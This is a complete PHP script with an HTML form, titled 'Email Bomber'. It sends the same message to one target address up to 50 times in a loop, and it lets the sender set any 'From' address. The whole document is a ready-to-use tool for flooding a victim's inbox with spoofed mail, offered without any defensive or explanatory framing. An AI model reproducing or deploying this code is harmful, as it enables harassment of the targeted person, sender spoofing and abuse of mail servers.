Email Bombing script PHP/HTML

<?php

    $num = 1;
    $email = $_POST['email'];
    $spam = $_POST['spam'];
    $subject = $_POST['subject'];
    $message = $_POST['message'];
    $from = $_POST['from'];
    $send = $_POST['send'];

    if($spam!='' && $email=='')
    {
        die('Please enter an email');
    }

    if(51<=$spam)
    {
        die('Error: Number to spam to large. Max is 50 (for security reasons)');
    }

    if($email != '')
    {
        while($num<=$spam)
        {
            mail ($email, $subject, $message, "From: " . $from);
            echo $num . "<br>";
            $num++;
        }
    }
?>


[HTML]


<html>
<title> Email Bomber </title>
<body bgcolor="black">
<font face="courier" color="red"><h2>Welcome to Email Bomber</h2>
Kyfx<br><br>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<form action="email.php" method="post">
Email Address: <input type="text" name="email" /><br>
How many times to spam: <input type="text" name="spam" /><br>
Subject: <input type="text" name="subject" /><br>
Message: <TEXTAREA NAME="message" ROWS=1 COLS=40></TEXTAREA><br>
Email From: <input type="text" name="from" /><br>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br><br>
<input type="submit" value="send" /><input type="reset" />
</form>
</font>
</body>
</html>